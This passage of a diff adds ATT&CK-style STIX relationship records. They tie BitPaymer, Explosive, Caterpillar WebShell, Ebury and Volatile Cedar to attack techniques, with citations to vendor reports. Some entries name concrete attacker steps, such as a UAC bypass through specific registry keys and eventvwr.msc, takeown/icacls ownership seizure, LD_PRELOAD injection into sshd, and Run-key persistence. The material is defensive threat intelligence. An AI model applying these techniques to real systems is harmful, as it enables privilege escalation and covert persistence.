2018)", + "relationship_type": "uses", + "id": "relationship--c42f802b-394c-4d6f-bc3f-bf039c971cae", + "type": "relationship", + "modified": "2021-02-08T23:18:31.876Z", + "created": "2021-02-08T23:18:31.876Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has used dynamic API resolution to avoid identifiable strings within the binary, including RegEnumKeyW.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--f66247c0-1d4b-475b-8336-04530edb1455", + "type": "relationship", + "modified": "2021-02-08T23:18:31.879Z", + "created": "2021-02-08T23:18:31.879Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can suppress UAC prompts by setting the HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command registry key on Windows 10 or HKCU\\Software\\Classes\\mscfile\\shell\\open\\command on Windows 7 and launching the eventvwr.msc process, which launches [BitPaymer](https://attack.mitre.org/software/S0570) with elevated privileges.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--a1862cc9-ba25-4d48-b2d5-55781dd1fa3e", + "type": "relationship", + "modified": "2021-02-08T23:18:31.896Z", + "created": "2021-02-08T23:18:31.896Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has attempted to install itself as a service to maintain persistence.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--8ddf6a79-a4ff-4229-9923-bec8fe120ceb", + "type": "relationship", + "modified": "2021-02-08T23:18:31.890Z", + "created": "2021-02-08T23:18:31.890Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use icacls /reset and takeown /F to reset a targeted executable's permissions and then take ownership.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--3dbc782c-2030-4b32-9bf7-36c65bc9e749", + "type": "relationship", + "modified": "2021-02-08T23:18:31.887Z", + "created": "2021-02-08T23:18:31.887Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has used RC4-encrypted strings and string hashes to avoid identifiable strings within the binary.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--54f9c8a5-0677-4be8-bd72-a6a096be00bd", + "type": "relationship", + "modified": "2021-02-08T23:18:31.894Z", + "created": "2021-02-08T23:18:31.894Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has set the run key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--5ec68d1c-9ba8-4f9c-b185-f4e8482a66b2", + "type": "relationship", + "modified": "2021-02-08T23:18:31.901Z", + "created": "2021-02-08T23:18:31.901Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate existing Windows services on the host that are configured to run as LocalSystem.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--d0162247-12e2-4c0e-8efe-d5c4823e0fcd", + "type": "relationship", + "modified": "2021-02-08T23:18:31.892Z", + "created": "2021-02-08T23:18:31.892Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) can scan all .exe files located in the USB drive.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--50b2e4e3-8740-463b-87fc-e96c4b62fbe5", + "type": "relationship", + "modified": "2021-02-09T16:54:09.252Z", + "created": "2021-02-09T16:54:09.252Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has collected the username from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--6b1fd87c-b8d1-4ea1-9cc3-bc4fb1cd2fbd", + "type": "relationship", + "modified": "2021-02-09T18:36:22.109Z", + "created": "2021-02-09T18:36:22.109Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has collected the computer name from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--c0220333-2cfb-4449-acbb-9bea0b7751b4", + "type": "relationship", + "modified": "2021-04-27T01:56:35.910Z", + "created": "2021-02-09T18:36:22.126Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has used HTTP for communication.(Citation: CheckPoint Volatile Cedar March 2015)", + "relationship_type": "uses", + "id": "relationship--aae10582-ba88-4a02-9d66-fd460bf4f303", + "type": "relationship", + "modified": "2021-02-09T18:36:22.131Z", + "created": "2021-02-09T18:36:22.131Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has commonly set file and path attributes to hidden.(Citation: CheckPoint Volatile Cedar March 2015)", + "relationship_type": "uses", + "id": "relationship--d80d5ba4-22ea-4ef4-94e6-f9fbaa3ca641", + "type": "relationship", + "modified": "2021-02-09T18:36:22.174Z", + "created": "2021-02-09T18:36:22.174Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can deploy additional tools.(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--aaac742e-ad51-470d-826c-8196cf3c1d3e", + "type": "relationship", + "modified": "2021-02-10T18:04:49.076Z", + "created": "2021-02-10T18:04:49.076Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has encrypted communications with the RC4 method.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--87480e5f-2284-43cb-86e6-01c0c49c2c23", + "type": "relationship", + "modified": "2021-02-10T18:12:09.761Z", + "created": "2021-02-10T18:12:09.761Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can search for files in directories.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--3f824a1b-70d5-4859-bd55-6b084f602a52", + "type": "relationship", + "modified": "2021-02-10T18:20:51.667Z", + "created": "2021-02-10T18:20:51.667Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to download and upload files to the system.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--d4dc5fe6-fbfb-4718-8a7f-cd1eca70db61", + "type": "relationship", + "modified": "2021-02-10T18:20:51.684Z", + "created": "2021-02-10T18:20:51.684Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) can deactivate PAM modules to tamper with the sshd configuration.(Citation: ESET Ebury Oct 2017)", + "relationship_type": "uses", + "id": "relationship--0b7d2693-022f-41be-a8b7-0f433e3ec48d", + "type": "relationship", + "modified": "2021-02-10T18:41:29.110Z", + "created": "2021-02-10T18:41:29.110Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) can disable SELinux Role-Based Access Control and deactivate PAM modules.(Citation: ESET Ebury Oct 2017)", + "relationship_type": "uses", + "id": "relationship--352190f6-e0e6-44c9-9fd2-74179ce6eb57", + "type": "relationship", + "modified": "2021-02-10T18:41:29.152Z", + "created": "2021-02-10T18:41:29.152Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.(Citation: ESET Ebury Oct 2017)", + "relationship_type": "uses", + "id": "relationship--d3102278-dab8-485c-9cd2-52f80c4da8bd", + "type": "relationship", + "modified": "2021-04-23T22:56:14.888Z", + "created": "2021-02-10T18:41:29.200Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) has used user mode rootkit techniques to remain hidden on the system.(Citation: ESET Ebury Oct 2017)", + "relationship_type": "uses", + "id": "relationship--05a3d203-4b38-4f38-a015-dcfe3bdf9c07", + "type": "relationship", + "modified": "2021-02-10T18:41:29.204Z", + "created": "2021-02-10T18:41:29.203Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key.(Citation: ESET Ebury Oct 2017)", + "relationship_type": "uses", + "id": "relationship--4800e509-0653-4895-a9f0-e0b538592875", + "type": "relationship", + "modified": "2021-02-10T18:41:29.215Z", + "created": "2021-02-10T18:41:29.215Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a rootkit on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--f16c71ae-99b1-4aff-b276-13eb7c3ad889", + "type": "relationship", + "modified": "2021-02-10T19:12:08.105Z", + "created": "2021-02-10T19:12:08.105Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to perform brute force attacks on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--4cf22fd0-af3a-41b7-b0ad-07b73b6d5516", + "type": "relationship", + "modified": "2021-02-10T19:12:08.179Z", + "created": "2021-02-10T19:12:08.179Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather the IP address from the victim's machine using the IP config command.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--37fd810c-c64d-482b-98d5-5a19ce77f9f6", + "type": "relationship", + "modified": "2021-02-10T19:16:02.529Z", + "created": "2021-02-10T19:12:08.193Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to gather information from the compromrised asset, including the computer version, computer name, IIS version, and more.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--b844919a-e7d8-4317-9f0d-56338bae818c", + "type": "relationship", + "modified": "2021-02-10T19:12:08.186Z", + "created": "2021-02-10T19:12:08.186Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of the services from a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--7542421c-f673-4f85-85ae-b4283173c48d", + "type": "relationship", + "modified": "2021-02-10T19:16:02.423Z", + "created": "2021-02-10T19:16:02.423Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather a list of processes running on the machine.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--333c5688-edc4-40ba-a382-e98f4473d8c7", + "type": "relationship", + "modified": "2021-02-10T19:16:02.446Z", + "created": "2021-02-10T19:16:02.446Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a port scanner on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--f46bb223-1276-4266-b653-d6b8c2943adf", + "type": "relationship", + "modified": "2021-02-10T19:16:02.460Z", + "created": "2021-02-10T19:16:02.460Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": 